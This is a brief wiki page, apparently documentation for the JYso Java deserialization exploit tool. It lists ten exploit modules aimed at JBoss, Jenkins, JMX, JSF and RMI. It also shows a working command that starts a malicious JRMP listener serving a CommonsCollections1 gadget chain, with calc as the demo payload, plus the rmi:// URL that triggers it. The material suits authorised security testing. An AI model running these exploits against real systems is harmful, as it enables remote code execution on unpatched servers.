6

8、Exploit

炁 edited this page 2025-09-05 11:19:13 +08:00

除了单独的参数外，其余参数与 payload 的参数保持一致

• JBoss
• JenkinsCLI
• JenkinsListener
• JenkinsReverse
• JMXInvokeMBean
• JRMPClassLoadingListener
• JRMPClient
• JRMPListener
• JSF
• RMIBindExploit

例如RMI打反序列化链子

java -cp JYso-[version].jar com.qi4l.JYso.exploit.JRMPListener 8888 -g CommonsCollections1 -p calc

rmi://127.0.0.1:8888/任意后缀